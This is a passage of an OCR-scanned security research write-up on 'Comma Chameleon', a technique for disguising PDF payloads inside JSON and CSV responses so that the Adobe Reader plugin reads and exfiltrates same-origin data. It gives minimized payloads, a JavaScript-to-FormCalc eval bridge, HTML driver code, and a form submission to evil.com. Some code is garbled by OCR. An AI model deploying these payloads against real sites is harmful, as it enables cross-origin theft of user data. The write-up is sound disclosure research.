nosniff. For plugins that render active content 
(e.g, Flash, Silverlight, PDF, etc.) this makes it 
possible to read and exfiltrate the content from the 
hosting domain over HTTP. If the plugin’s content 
is controlled by an attacker and runs in the context 
of a domain it was served from, this is essentially 
equivalent to XSS, as sensitive content like CSRF 
tokens can be retrieved in a session-riding fashion. 

This has led to another class of content sniffing 
attacks based on plugins. Rosetta Flash 1415 was a 
great example of this: making a JSONP API re- 
sponse look like a Flash file, so that the attacker- 
controlled Flash file can run with the target do- 
main’s privileges. 

To demonstrate this, let’s see an example attack 
site for a vulnerable JSONP API that embeds the 
given query string parameter in the response body 
without modification: 

<obj ect 

2 type=" application /x— shockwave — flash " 

data=" http :/ / example . com/ jsonpapi? callback^ 
CWS[ flash file contents] "> 


10 Chris Evans, Generic Cross-browser Cross-domain Theft 
11 Filedescriptor, Cross-origin CSS Attacks Revisited (feat. JJTF-16) 
12 OWASP, Secure Headers Project 
13 HTML5 Standard 

14 Michele Spagnuolo, Abusing JSONP with Rosetta Flash 

15 Gabor Molnar, Bypassing Same Origin Policy With JSONP APIs and Flash 
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In this case, the API response would look as be- 
low and would be interpreted as Flash content if the 
response doesn’t match some constraints introduced 
as a mitigation for the Rosetta Flash vulnerability 
(we won’t discuss those in detail here): 

1 CWS[ flash file contents] ({ "some" : "JSON" , " 
returned " : "by" , " the " : "API" }) 


Since Flash usually ignores any trailing junk 
bytes after the Flash file body, this would be run as a 
valid SWF file hosted on the example . com domain. 
The payload SWF file would be able to issue HTTP 
requests to example . com, read the response (for ex- 
ample, the actual data returned by the very same 
HTTP API, potentially containing some sensitive 
user data), and then exfiltrate it to some attacker- 
controlled server. 

Instead of Flash, our research focuses on PDF 
files and methods to make various types of web con- 
tent look like valid PDF content. PDF files, when 
opened in the browser with the Adobe Reader plu- 
gin, are able to issue HTTP requests just like Flash. 
The plugin also ignores the response headers when 
rendering the PDF; the main challenge is how to 
prepare a PDF payload that is immune to leading 
and trailing junk bytes, and minimal in file size and 
character set size. 

We must mention that our research is specific to 
Adobe Reader: other PDF plugins usually display 
PDFs as passive content without the ability to send 
HTTP requests and execute JavaScript in them. 

4.3 Comma Chameleon 

The existing PoC payloads for PDF-based content 
sniffing 16 17 used a FormCalc technique to read and 
exfiltrate the content. Although they worked, we 
quickly noticed that their practicability is limited. 
They were long (e.g. @irsdl uses > 11 kilobytes) 18 
and used large character sets. Servers often rejected, 
trimmed, or transformed the PDF by escaping some 
of the characters, destroying the chain at the PDF 
parser level. Additionally, those PoCs would not 
work when some data was prepended or appended 
to the injected PDF. We wanted a small payload, 
with a limited character set and arbitrary prefix and 
suffix. 


These are important aspects because most in- 
jection contexts where the attack is useful are very 
limiting. For example, when injecting into a string 
in a JSON file, junk bytes surround the injection 
point, as well as the JSON format limitations on the 
character set (e.g., encoding quotes and newlines). 

Additionally, we wanted to come up with a uni- 
versal payload— one that does not need to be altered 
for a given endpoint and can be injected in a fire- 
and-forget manner— thus no hardcoded URLs, etc. 

And thus, the quest for the Comma Chameleon 
has started! Why such a name? Read on! 

4.3.1 Minimizing the Payload 

To keep the PDF as small as possible, we made it 
contain only the bootstrap code and injected all the 
rest of the content in an external HTML page from 
the attacker’s origin. Size of the final code then 
doesn’t matter, and we could focus only on min- 
imizing the ‘dropper’ PDF. This required altering 
the PDF structure at various layers. Let’s look at 
them one by one. 


The PDF layer It turns out that for the working 
scriptable FormCalc PDF we only need 2 objects. 

1. A document catalog, pointing to the 
pages (/Pages) and the interactive form 
(/AcroForm) with its XFA (XML Forms Ar- 
chitecture). There needs to be an OpenAc- 
tion dictionary containing the bootstrapping 
JavaScript code. The /Pages element may be 
empty if the document’s first page will not be 
displayed. 

2. A stream with the XDP document with the 
event scripts. 


Here’s an example: 


1 

3 

5 

7 

9 

11 


%PDF- 1 . 1 
1 0 obj 

« /Pages « » 

/AcroForm « /XFA 2 0 R » 
/OpenAction « 

/S / J avaScript 
/JS({code here}) 

» 

» 

endobj 


16 Alex Infiihr @insertscript, PoC for the FormCalc content exfiltration 
x 'unzip pocorgtfol2.pdf CommaChameleon/CrossSiteContentHi jacking 
18 Soroush Dalili, JS -instrumented content exfiltration PoC 
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13 


15 

17 

19 


2 0 obj 

« /Length xxx 

» 

stream 

{xdp content here} 

endstream 

endobj 


Additionally, a valid PDF trailer is needed, spec- 
ifying object offsets in an xref section and a pointer 
to the /Root element. 


The JavaScript bootstrap code As JavaScript- 
based vectors to read HTTP responses from 
the PDF’s origin without user confirmation were 
patched by Adobe, FormCalc currently remains the 
most convenient way to achieve this. Unfortunately 
it cannot be called directly from the embedding 
HTML document, and a JavaScript bridge is nec- 
essary. In order to script the PDF to enable data 
exfiltration, we then need these two bridges: 

1. HTML -4 PDF JavaScript 

2. PDF JavaScript — > FormCalc 


1 xref 
0 3 

3 0000000000 65535 f 
0000000007 00000 n 

5 0000000047 00000 n 
trailer 

7 « /Root 1 0 R » 

startxref {xref offset here} %9cE OF 


Further on, the PDF header can be shortened 
and modified to avoid detection; e.g., instead of 
"/oPDF-1 . l<newline>, one can use "/«PDF-Q<space> 
(we avoid null bytes to keep the character set small) . 
Similarly, most of the whitespace is unnecessary. For 
example, this is valid: 

obj«/Pages 2 0 R/ AcroForm«/XFA 3 0 R»/ 

► OpenAction«/S / J avaScript / JS ( code ; )»» 

► endobj 


The xref section needs to contain entries for 
each of the objects and is rather large (the overhead 
is 20 bytes per object); fortunately, non-stream ob- 
jects can be inlined and moved to the trailer. The 
final example of a minimized PDF looks like this: 


The first bridge is widely known and docu- 
mented. 19 

2 
4 
6 
8 
10 
12 
14 

16 

18 

20 
22 
24 
26 


this . disclosed = true ; 

if (this, external && this . hostContainer) { 
function onMessageFunc ( stringArray ) { 
try { 

// do stuff 

} 

catch (e) { 

} 

} 

function onErrorFunc ( e ) { 
console . show ( ) ; 

console . println (e. toString () ) ; 

} 

try { 

this . hostContainer . messageHandler = 
new Object ( ) ; 

this . hostContainer . messageHandler . 
myPDF = this ; 

this . hostContainer . messageHandler . 
onMessage = onMessageFunc; 

this . hostContainer . messageHandler . 
onError = onErrorFunc ; 

this . hostContainer . messageHandler . 
onDisclose = function () { 
return true ; 

}; 

} 

catch (e) { 

onErrorFunc ( e ) ; 

} 

} 


This works, but it’s huge. Fortunately, it 
is possible to shorten it a lot. For example 
this . disclosed = true is not needed, and neither 
are most of the properties of the messageHandler. 
Neither is ‘this’ - hostContainer is visible in 
the default scope. In the end we only need 
a messageHandler . onMessage function to pro- 
cess messages from the HTML document and a 

19 Adobe, Cross-scripting PDF content in an Adobe AIR application 
20 Adobe, JavaScript for Acrobat API Reference 


1 %PDF— Q 1 0 obj«/Lengtli l»stream 
{xdp here} endstream endobj xref 0 2 
-4 0000000000 65535 f 0000000007 00000 n 
trailer «/Root«/Ac.roForm«/XFA 1 0 R»/ 

> Pages «»/Open Act ion «/S /JavaScript/JS( 

> code )»»» startxref {xref offset here} 
-4- %9cEOF 
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messageHandler . onDisclose function. From the 
documentation : 20 

onDisclose A required method 
that is called to determine whether the 
host application is permitted to send 
messages to the document. This allows 
the PDF document author to control the 
conditions under which messaging can 
occur for security reasons. [...] The 
method is passed two parameters cURL 
and cDocumentURL [...]. If the method 
returns true, the host container is per- 
mitted to post messages to the message 
handler. 

For our purposes we need a function reference 
that, when called returns true — or a ‘truth-y’ value 
(this is JavaScript, after all!). To save characters, 
how about a Date constructor? 

> ! ! Date ( ’ http :// url ’ , ’ http : / / documentUrl ’ ) 

2 true 


In the end, the shortened JS payload is just: 

hostContainer . messageHandler={onDisclose : 

Date , onMessage : function(a)(eval(a[0]) }}) 


Phew! The whole embedding HTML page can now 
use object .postMessage to deliver the 2 nd stage 
PDF JavaScript code. We’re looking forward to 
Adobe Reader supporting ES5 arrow functions as 
that will shorten the payload even more. 



The XDP In his PoC, 21 @insertScript proposed 
the following payload for the XDP with a hardcoded 
URL (some wrapping XDP structure has been re- 
moved here and below for simplicity): 

1 <xdp : xdp xmlns : xdp=" http :// ns . adobe . com/xdp/ 
"> ... 

<field id=" Hello World ! "> 

3 <event ac t i vi t y=" i n i t i a 1 i z e "> 

<script contentType= ’ application /x 
— formcalc ’> 

5 Post (" http :// sameOrigin . com/ 

index . html" , "YOUR POST DATA" , " text /plain 
" , " utf —8" , " Content— Type : Dolphin&#xOd;&# 

xOa;Test: AAA") 

</script > 

7 </event> 

</ f i e Id > ... 

9 </xdp:xdp> 


It turns out we don’t need the <field>, as we 
can create those dynamically from JavaScript (see 
next paragraph). Events can also be triggered dy- 
namically, so we don’t need to rely on initialize 
and can instead pick an event with the shortest 
name, exit. We also define the default XML names- 
pace and lose the contentType attribute (FormCalc 
is a default value). With these optimizations we’re 
down to: 


1 <xdp xmlns=" http :// ns . adobe . com/xdp/ "> ... < 
event ac t i vi t y = ’ exi t ’Xscript >{{code 
here}} </script ></event> ... </xdp> 


JavaScript — » Formcalc bridge In Adobe 
Reader it is possible for JavaScript to call Form- 
Calc functions. 22 This was used by @irsdl to create 
the PoC for the data exfiltration. 18 

The communication relies on using the form 
fields in the XDP to store input parameters and out- 
put value, and triggering the events that would run 
the FormCalc scripts. This, again, requires a long 
XML payload. 

Or does it? Fortunately, the form fields can be 
created dynamically by JavaScript and don’t need 
to be defined in the XML. Additionally, FormCalc 
has the EvalO function — perfect for our purposes. 


21 unzip pocorgtfol2.pdf CommaChameleon/xfa.zip 

22 John Brinkman, Calling FormCalc Functions From JavaScript 
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In the end, the JavaScript function (injected 
from the HTML) to initialize the bridge is: 


1 

function initXfaQ { 
i f ( xfa . form . s ) { 


3 

// refers to <subform name=’s’> 
s = xfa . form . s ; 


5 

} 

//if uninitialized 


7 

if (s &&; s . variables . nodes . length = 
// input parameter 

o) { 

9 

s.P = xfa . form . createNode (" text " , 
// return value 

"P"); 

11 

s .R = xfa . form .createNode("text" , 
s . variables . nodes . append (s.P) ; 

"r"). 

13 

s . variables . nodes . append ( s .R) ; 
// JS— FormCalc proxy 


15 

s . doEval = function (a) { 
s.P. value = a ; 


17 

s . execEvent ( " exit " ) ; 
return s.R. value; 


19 

}; 

} 


21 

} 


23 

app . doc . hostContainer . messageHandler . 
onMessage = funct ion ( params ) { 

try{ 


25 

var cmd = params [0]; 
var result = 


27 

switch (cmd) { 

case ’eval’: // eval in JS 


29 

result = e val ( params [ 1 ] ) ; 

break ; 


31 

case ’ get ’ : 

// send Get through FormCalc 


33 

init Xfa ( ) ; 
result = s.doEval( 


35 

’ Get ( ’ + params [ 1 ] + ’ ) ’ ) ; 

break ; 


37 

} 

app . doc . hostContainer . postMessage ( 


39 

[ ’ok’ , result ] ) ; 
} catch ( e ) { 


41 

app . doc . hostContainer . postMessage ( 
[ ’error ’ , e . message ] ) ; 


43 

} 

}; 



And the relevant FormCalc event script is simply 

r=Eval (P) . 

Now we have a simple way to get the same-origin 
HTTP response from the embedding page’s JS like 
this: 

obj ect . messageHandler . onMessage = console. 
log.bind(console) ; 

2 object . post Mess age ([’get’, url]); 


Similarly, we can evaluate arbitrary JavaScript 
or FormCalc code by extending the protocol in the 
JS code — all without modifying the PDF. 

4.3.2 The Final Payload 

The final PDF payload for the Comma Chameleon 
can be presented in various versions. The first one 
is: 

%PDF— Q 1 0 obj«/Length l»stream 
2 <xdp xmlns=" http :// ns . adobe . com/xdp/ ">< 

> config Xpresent XpdfXi n t er act i ve >1</ 

«— >■ interactive ></pdf></p resent ></configX 
«— >■ templateX^subform name=" s "XpageSet/x 
«— >■ event act ivity=” exit "Xscript >r=Eval (P)</ 
^ script ></e vent ></subformX/template ></xdp 
<-)• > endstream endobj xref 0 2 0000000000 
-4 65535 f 0000000007 00000 n trailer «/ 

<->• Root«/AcroForm«/XFA 1 0 R»/Pages«»/ 
°4 OpenAction«/S/ JavaS cript / JS ( 

°4 hostContainer . messageHandler={onDisclose : 
°4 Date , onMessage :function(a){eval(a[0]) }}) 
°4 »»» startxref 286 %9<EOF 


It’s 522 bytes long, using the character set con- 
sisting of a space, newline, alphanumerics, and 
op-/ The only newline character is re- 

quired after the stream keyword, and double quote 
characters can be replaced with single quotes if 
needed. 

The second version utilizes compression and 
ASCII stream encoding in order to reduce the char- 
acter set (at the expense of size). 

%PDF-Q 1 0 obj «/F i 1 1 e r [ / ASCIIHexDecode / 

> FlateDecode ]/ Length 322>>stream 

2 789c4d8f490ec2300c45af52 7553d8d4628b9cecd823 
^4 718234714 b a4 66506 2aa727b4c558695a7ff9f6d 

► 5c5d6ed630c7aaba3b733e03c4dalb9706ea6d0a 

^4 2063e834dal4473f69cc852a4596c48dla7d642a 

^4 C6b25f489fl0fe4b844d015f037cl04c21cf8645 

°4 521fc3984a68a209a4dada0ad54c7423068db488 

°4 abd9609e9faaa3d5b3dc516dfl 99755 197c5cc87 
°4 ebll61ef206c0e893b55b2dfa6f71bfa05c67b53 

°4 ec> endstream endobj xref 0 2 0000000000 
-4 65535 f 0000000007 00000 n trailer «/ 

°4 Root«/AcroForm«/XFA 1 0 R»/Pages«»/ 
°4 Open Act ion «/S /JavaScript/ JS <686 f7374436f 
°4 6 e746 1 696e65 722e6d6573736 1 6765486 16e646c 

°4 65723d7b6f6e446973636c6f73653a446 174652c 

-4 6f6e4d6573736167653a66756e6374696f6e2861 

-4 297b6576616c28615b305d297d7d »»»> 

°4 startxref 416 OF 
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It’s now 732 bytes long, but with a much more 
injection-friendly character set: space, alphanums, 
one newline, and []<>/-%. The complete HTML 
page to initialize the PDF and instrument the data 
exfiltration is quite straightforward, shown in Fig- 
ure 4. 

To start, the runCommaChameleon needs to be 
called with the PDF URL and the URL to exfil- 
trate. (Both URLs should be from the victim’s ori- 
gin.) The whole chain looks like this: 

1. Victim browses to //evil. com. 

2. //evil. com HTML loads the PDF from //vic- 
tim. com into an <object> tag, starting Adobe 
Reader. 

3. The PDF /OpenAction calls back to the 
HTML with its URL. 

4. The full code from ‘code’ is sent to the PDF 
and is eval-ed by its JavaScript message han- 
dler, creating a bridge to FormCalc. 

5. HTML sends a URL load instruction 
(//victim. com/any-url) to PDF. 

6. FormCalc loads the URL (the browser happily 
attaches cookies). 

7. HTML page gets the response back. 

8. //evil.com, having completed the cross- 
domain content exfiltration, smiles and fin- 
ishes his pina-colada. Fade to black, close cur- 
tain. 

Just for fun, window, ev and window, formcalc are 
also exposed, giving you shells in respectively PDF 
JavaScript and its FormCalc engine. Enjoy! 

The full PoC is embedded in this PDF. 23 

4.3.3 Embedding into Other File Formats 

The curious reader might notice that, even though 
they made a thirty-two second long effort to skip 
through most of this gargantuan writeup and even 
spotted the PoC section before, there’s still no 
clue as to why the whole thing is named “Comma 
Chameleon.” As with all current security research, 
the name is by far the most important part (it’s not 
the nineties anymore!), so now we need to unfold 
this mystery! 

PDF makes for an interesting target to exploit 
plugin-based content sniffing, because the payload 
does not need to cover the whole HTTP response 

“ J unzip pocorgtfol2.pdf CommaChameleon 

24 Chromium Blog, The Final Countdown for NPAPI 


from a target service. It’s possible to construct a 
PDF even if there’s both a prefix and a suffix in the 
response— the injection point doesn’t need to start 
at byte 0, like in Rosetta Flash. 

Our payload however allows for even more — it’s 
possible to split it into multiple chunks and inter- 
leave it with uncontrolled data. For example: 


1 

{{ Arbitrary 

prefix 

here }} 



%PDF— Q 1 0 

obj ... 

endobj xref . . 

trailer < 


... > 




3 

{{ Arbitrary 

content 

here }} 



startxref XXX %9EOF 


5 

{{ Arbitrary 

suffix 

here }} 



The only requirement is for the combined length 
of the prefix and suffix to be under 1,000 bytes— all 
of that without needing to modify the payload and 
recalculate the offsets. 

Due to the small character set, the payload can 
survive multiple encoding schemes used in various 
file formats. Additionally, the PDF format itself al- 
lows one to neutralize the content in various ways. 
This makes our payload great for applications host- 
ing various file types. Let’s take, for example, a 
CSV. To exploit the vulnerability, the attacker only 
needs to control the first and the last columns over 
two consecutive rows, like this: 

1 artist , album, year 

David Bowie , David Bowie, 1969 
3 Culture Club , Colour by Numbers,%PDF— Q 1 0 
obj <<...>>stream 

7 8 . . . ec> endstream endobj %,, xref ... %9cEOF 
5 Madonna, Like a Virgin, 1985 


This ASCII encoded version uses neutral- 
ized comma characters and is a straightforward 
PDF/CSV chameleon, thus proving both the use- 
fulness of this payload, and that we’re really bad at 
naming things. 

4.3.4 Browser Support 

Comma Chameleon, just like other payloads used for 
MIME sniffing, demonstrates that user-controlled 
content should not be served from a sensitive ori- 
gin. This one, however is based on Adobe Reader 
browser plugin and only works on browsers that sup- 
port it— that excludes Chromium-based browsers. 24 
MSIE employs a quirky mitigation: rendered PDF 
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<style type=" text / css "> 

2 object { 

border: 5px solid red; 

4 width: 5px; /* make it too small for the first page to display to 

avoid triggering errors in the PDF */ 

6 height: 5px; 

} 

8 </style> 

<! this code will be injected into PDF — > 

10 <script id="code" type=" text / template "> 
function initXfaQ { 

12 if (xfa.form.s) { 
s = xfa . form . s ; 

14 } 

if (s &&; s . variables . nodes . length = 0) { 

16 s.P = xfa . form . createNode (" text " , "P" ) ; 

s .R = xfa . form . createNode ( " text ", "r") ; 

18 s. variables. nodes . append (s.P) ; 

s . variables . nodes . append ( s .R) ; 

20 s . doGet = function (url) { 

s.P. value = "Get(\"" + url + 

22 s . execEvent ( " enter " ) ; 

s . execEvent ( " exit " ) ; 

24 return s .R. value ; 

}; 

26 s . doEval = function (a) { 

s.P. value = a ; 

28 s . execEvent ( " enter " ) ; 

s . execEvent ( " exit " ) ; 

30 return s .R. value ; 

}; 

32 } 

} 

34 

app . doc . host Container . messageHandler . onMessage = funct ion ( params ) { 

36 try{ 

var cmd = params [0]; 

38 var result = 

switch (cmd) { 

40 case ’ e val ’ : 

result = eval ( params [ 1 ] ) ; 

42 break ; 

case ’ get ’ : 

44 i n i t X f a ( ) ; 

result = s . doGet ( params [ 1 ]) ; 

46 break ; 

case ’formcalc’: 

48 initXfaQ; 

result = s . doEval ( params [ 1 ] ) ; 

50 break ; 

default : 

52 throw new Error ( ’Unknown command’); 

} 

54 app . doc . host Container . postMessage ( [ ’ok ’ , result ] ) ; 

} catch (e) { 

56 app . doc . host Container . postMessage ([ ’error ’ ,e. message ] ) ; 

} 

58 }; 

app . doc . hostContainer . postMessage ([1 , app . doc .URL] ); // report readiness 
60 </script > 


Figure 4 - HTML to init PDF and exiltrate data. Continued in Figure 5. 
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<script type=" text /javascript "> 

function runCommaChameleon ( pdfUrl , ur ITo Exf i 1 1 r at e ) { 
var object = document . createElement (’ obj ect ’) ; 

(function(object) { 
var req = false ; 
var onload = function () { 

var droplnterval ; 
object . messageHandler = { 
onMessage : function (m) { 

if (m[ 0 ] = 1) { 

// PDF phoned home. 
console . log( ’PDF i n i t ok : ’ , in [ 1 ] ) ; 
clearlnterval (droplnterval) ; 
if ( ! req ) { 
req = true ; 

// make the URL absolute 

var a = document . createElement (’ a ’) ; 

a. href = urlToExfiltrate; 

console . log (’ request ing ’ + a. href); 

obj ect . post Message ([ ’get ’ , a. href]) ; 

// Adding new cool functions . 
window . ev = function(c) { 

obj ect . post Message ( [ ’ eval ’ , c ] ) ; 

}; 

window . for mcalc = function (c) { 

obj ect . post Mess age ([’formcalc’, c]); 

}; 

} 

} else { 

if (m[0] = ’ok ’ ) { 
alert (m[ 1 ] ) ; 

} 

console . log (m [ 0 ] , m [ 1 ] ) ; 

} 

}. 

onError : function (m, mm) { 

console . error ( " error: " + m. message); 

} 

}; 

// Keep injecting the code into PDF 
droplnterval = setlnterval ( function () { 

obj ect . post Mess age ( [ document . get Element By Id ( ’ code ’) . textContent ] ) 
}, 500); 

}; 

setTimeout ( onload , 1000); 

}) ( object ) ; 

object, data = pdfUrl; 

console . log ( " Loading " + obj ect . data ) ; 
object. type = ’ application /pdf ’ ; 
document . body . appendChild ( object ) ; 

} ; 

</ scr ipt > 


Figure 5 - Continued from Figure 4. 




files are served from a file:// origin upon content- 
type mismatch, breaking the chain. Exploitation 
in Firefox is possible, but has limited practicability 
because of the default click-to-play settings . 25 As 
far as we can tell, Safari remains the most attrac- 
tive target. Comma Chameleon, while quite inter- 
esting, remains impractical until Adobe decides to 
conquer the browser market with its non-NPAPI- 
based browser plugin. We are looking forward to 
that. 

4.4 The Quest for the One-line PDF 

Comma Chameleon uses a relatively small set of 
characters, however, there is still one that prevents it 
from being useful in numerous injection contexts. It 
is the literal newline, since many injection contexts 
do not allow literal newlines to appear: for example, 
a string inside a JSON API response, a single field 
in a CSV file (as opposed to when multiple fields are 
controlled), CSS strings, etc. 

The perfect PDF injection payload would be a 
one line PDF that is still able to: issue HTTP re- 
quests, read the response, and exfiltrate the data. 
Since JSON API responses contain partially user- 
controlled data in many cases, and a large portion 
of them only escape characters that are absolutely 
necessary to escape (like newlines), a one-line PDF 
would suddenly make a huge number of APIs vul- 
nerable, even more than the Rosetta Flash vulnera- 
bility. 

As it turns out, constructing such a PDF is hard. 
The reason for this is that newlines play a crucial 
role in the PDF file structure: the PDF header has 
to be followed by a newline, and every stream must 
be defined by a ‘stream’ keyword followed by a new- 
line and then the data. 

As described in previous sections, the newline in 
the header can be omitted when there’s a valid xref 
and a trailer. However, there is no known way to 
define stream objects without newlines. 

We have partially overcome this problem. We’ll 
present our solutions and the dead ends we’ve ex- 
plored in the next few sections, to give other re- 
searchers a solid foundation to start on. 

4.4.1 Referencing an External Flash File 

External Flash files can be referenced without using 
stream objects. However, they are run within the 

25 Mozilla Security Blog, Putting Users in Control of Plugins 


context of their hosting domain, which means that 
they are not useful for our purposes. 

4.4.2 Executing JavaScript 

For executing JS code, we don’t need a stream ob- 
ject. When we combine this fact with the trick to 
avoid the newline after the PDF header with a valid 
xref, we arrive to this one line PDF file: 

1 %PDF-Q xref 0 0 t r a i 1 e r «/Root«/Pages<0>/ 

> Open Act ion«/S /JavaScript/JS<6170702 
^4 e616c6572742855524c29 »»»> startxref 
-4- 7%%EOF 


This PDF is immune to leading and trailing junk 
bytes, opens without any warning popup in Adobe 
Reader, and opens an alert window with the doc- 
ument’s URL from JavaScript. Note that there’s 
necessary space character after the EOF sign. 
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Now the logical next step would be to find an 
Adobe Reader JavaScript API that allows us to is- 
sue HTTP requests. Unfortunately, all of the docu- 
mented APIs that would allow reading the response 
require the user’s consent. 

4.4.3 Dynamically Creating an Embedded 
Flash File from JavaScript 

Without a direct HTTP API, we are left with two 
options: to dynamically create either an embedded 
Flash file or a form with FormCalc. After read- 
ing through the Adobe JS API reference 20 a few 
times, we determined that creating a form dynami- 
cally is not possible, at least not in any documented 
way. On the other hand, it seemed like dynamically 
adding an embedded Flash object may be possible. 

This technique is made possible by an API that 
allows the JS to manipulate a 3D scene. One of the 
possible modifications is adding a texture to a sur- 
face. The texture can be an image, or even a video. 
In the case of video, Flash “movies” are also sup- 
ported. At this point, you might wonder why Adobe 
implemented rendering embedded Flash movies in a 
3D scene in a PDF file displayed in a browser. It’s 
something we’d also like to know, but now let’s con- 
tinue exploring the potential and limitations of this 
feature. 

The data for the Flash movie needs to be spec- 
ified as a Data object (in this case, that means a 
JavaScript object of type Data, not a PDF object). 
Data objects represent a buffer of arbitrary binary 
data. These objects can be obtained from file at- 
tachments, but to have file attachments, we need 
streams again — so that’s not an option. Another way 
to create a Data object is the createDataObject 
API. But according to the reference, this function 
can be called only by signed PDFs with file attach- 
ment “usage rights,” or when opening the PDF in 
Adobe Pro. The only way to sign a PDF and add file 
attachment usage right is using Adobe’s LiveCycle 
Reader Extensions product. As we’re life-long sup- 
porters of the free software movement, we ruled out 
paying for a signature, and limiting the payload to 
Adobe Pro users is a very tight constraint we didn’t 
want to add. 

Next, we found a way to dynamically create Data 
objects in Adobe Reader without a signature, but 
also came to the conclusion that creating a 3D scene 


requires newlines regardless. This is because there’s 
no way to define them without at least one stream 
object, and stream objects cannot be defined with- 
out newlines. 

After this dead end, we tried to find other ways 
to dynamically add content to a displayed PDF. One 
of the results of this search is Forms Data Format 
(FDF). 

4.4.4 Using Forms Data Format to Load Ad- 
ditional Content 

FDF 26 and its XML based version, XML Forms 
Data Format (XFDF) 2 ' are a file format and a re- 
lated technology, that are meant to enable rich PDF 
forms to send the contents of a PDF form to a re- 
mote server and to update the appearance of the 
PDF based on the server’s response. For our pur- 
poses, the important part is updating the PDF. This 
could enable us to implement a minimal form sub- 
mission logic in the payload PDF. That logic would 
submit the form to the attacker server without any 
data and then augment the payload PDF using the 
server’s response. The update received from the 
server would add embedded Flash, 3D scene, or 
FormCalc code to the PDF, which would then carry 
out the rest of the work. 

The first step is having a first stage PDF that 
submits the form. Fortunately, this can be achieved 
without user interaction in a really compact way, 
without even using JavaScript: 

1 95PDF— 1.7 1 0 obj«/Pages 1 0 R/ OpenAction«/ 

> S/ SubmitForm /F (http :// evil . com/ x . f df#FDF) 
^ »»end o bjxref 0 2 0000000000 65535 f 

> 0000000009 00000 n trailer «/Root 1 0 R 
<-»• » startxref 98 %9330F 


As a security check, 28 Adobe Reader will down- 
load the evil . com/crossdomain . xml file, which is a 
essentially a whitelist of domains, and check whether 
the submitting PDF’s domain is in the whitelist. 
This is not a problem, since this file is controlled 
by us, and we can add the victim’s domain in the 
whitelist. Also, there’s an additional constraint: 
the Content-Type of the response must be exactly 
application/vnd . fdf . 

According to the documentation, FDF supports 
the augmentation of the original PDF in many dif- 
ferent ways: 


26 Adobe, Portable Document Format ISO standard, Section 12.7.7 
2 'Adobe, XML Forms Data Format Specification 
28 Adobe, Acrobat Application Security Guide, 4 . 5.1 
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• Updating existing form fields 

• Adding new pages 

• Adding new annotations 

• Adding new JavaScript code 

At a first glance, this feature set looks more than suf- 
ficient to achieve our goal. Adding new JavaScript 
code is the easiest. The required FDF file looks like 
this: 


%FDF— 1.2 


1 0 obj 


« /FDF « /JavaScript « /Doc [ 

0 (app . 

alert (42) ; ) ] » » » 


endobj 


trailer 


« /Root 1 0 R » 


%9cEOF 



However, adding new JS code to the document is 
not really useful, since we already have JS execu- 
tion with a one line PDF. 

Adding new pages seems useful, but it turns out 
that this only adds the page itself, not the additional 
annotations attached to the page, like Flash or 3D 
scenes. Also, XFA forms with FormCalc are not de- 
fined inside pages, but at the document level, so the 
ability to add pages doesn’t mean that we can add 
pages with forms in them. 

The situations with updating existing form fields 
is similar: the only interesting part of that API is 
the ability to draw a page from an external PDF to 
an existing button as background. It has the same 
limitations as adding pages: only the actual page 
graphics will be imported, without annotations or 
forms. 

Adding annotations is the most promising, since 
Flash files, 3D scenes, attachments are all annota- 
tions. According to the documentation, there are 
unsupported annotation types, but Flash and 3D 
are not among them. In practice, however, they just 
don’t work. The only interesting type of annotation 
that is possible to add is file attachments. 

File attachments are useful for two reasons. 
First, they provide references to their Data objects, 
which means that we now have a way to create these 
objects without a signature. Secondly, they might 
contain embedded PDF files. There are several dif- 
ferent ways to open an embedded PDF added with 
FDF, but the problem in this case is that the new 


PDF is never loaded with the original PDF’s secu- 
rity context. Instead, it’s saved to a temporary file 
first and then opened outside the web browser. 

4.4.5 The End of the Road? 

The PDF file format has a huge set of features, es- 
pecially if we consider the JavaScript API, Form- 
Calc, XFDF, other companion specifications, and 
Adobe’s proprietary extensions. Many of these fea- 
tures are under-specified, under-documented, and 
rarely used in practice, so that it’s often impossi- 
ble to find a working example. In addition to that, 
PDF reader implementations (even Adobe’s own Ac- 
robat Reader) often deviate from the specification in 
subtle ways. 

In the end, it’s not really possible to have a com- 
plete picture of what PDF files can do. We believe 
that a one line payload is doable; we just didn’t find 
a way to create one. We encourage others to take a 
look and share the results! 

4.5 Unexplored Areas 

So far our goal has been to construct a PDF that 
is able to read and exfiltrate data from the hosting 
domain through HTTP requests. In this section, we 
will enumerate a few other interesting scenarios that 
we didn’t explore in depth, but that may enable by- 
passing some other web security features with PDFs. 

If the goal is to exfiltrate just the document in 
which the injection occurs, then PDF forms might 
come handy. If there are two injection points, one 
could construct a PDF where the data between the 
injection points becomes the content of a form field. 
This form can then be submitted, and the content 
of the field can be read. When there is one injec- 
tion point, it’s possible to set a flag on PDF forms 
that instructs the reader to submit the whole PDF 
file as is, which, in this case, includes the content to 
be exfiltrated. We weren’t able to get this to work 
reliably, but with some additional work, this could 
be a viable technique. 

This technique might be usable in other PDF 
readers, like modern browsers’ built-in PDF plug- 
ins. It would also be interesting to have a look at 
the API surface these PDF readers expose, but we 
didn’t have the resources to have a deeper look into 
these yet. 

Content Security Policy is a protection mecha- 
nism that can be used to prevent turning an HTML 
injection into XSS, by limiting the set of scripts 
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the page is allowed to run. In other words, when 
an effective CSP is in place, it is impossible to 
run attacker-provided JavaScript code in the HTML 
page, even if the attacker has partial control over the 
HTML code of the page through an injection. Adobe 
Reader ignores the CSP HTTP header and can be 
forced to interpret the page as PDF with embed- 
ded Flash or FormCalc. Note that in this scenario 
we assume that the injection is unconstrained when 
it comes to the character set, so there’s no need to 
avoid newlines or other characters. This only works 
in HTML pages that don’t have a <!doctype dec- 
laration, since that is included in Adobe Reader’s 
blacklist of strings that can’t appear before the PDF 
header in a PDF file. Adobe Reader simply refuses 
to display these files, so the applicability of this at- 
tack is very limited. 

Modern browsers block popups by default. This 
protection can be bypassed basically in all browsers 
running the Adobe Reader plugin by using the 
app. launchURLC'URL" , true) JavaScript API. 

Last, but not least, we’ve run into many Adobe 
Reader memory corruption errors during our re- 
search. This indicates that the features we’ve tested 
are not widely used and fuzzed, so they might be a 
good target for future fuzzing projects. 


instrumented externally, so it was a natural fit for 
Rosetta Flash-style exploitation. 

Following Alex’s proof of concept in 2015, 16 
@irsdl demonstrated a way of instrumenting the 
FormCalc script from the embedding, attacker- 
controlled page. 18 The abovementioned served as a 
starting point for the Comma Chameleon research. 

Comma Chameleon is part of a larger research 
initiative focused on modern MIME sniffing and as 
such was done with help of Claudio Criscione, Sebas- 
tian Lekies, Michele Spagnuolo, and Stephan Pfist- 
ner. 

Throughout the research, we’ve used multiple 
PDF parser quirks demonstrated by Ange Albertini 
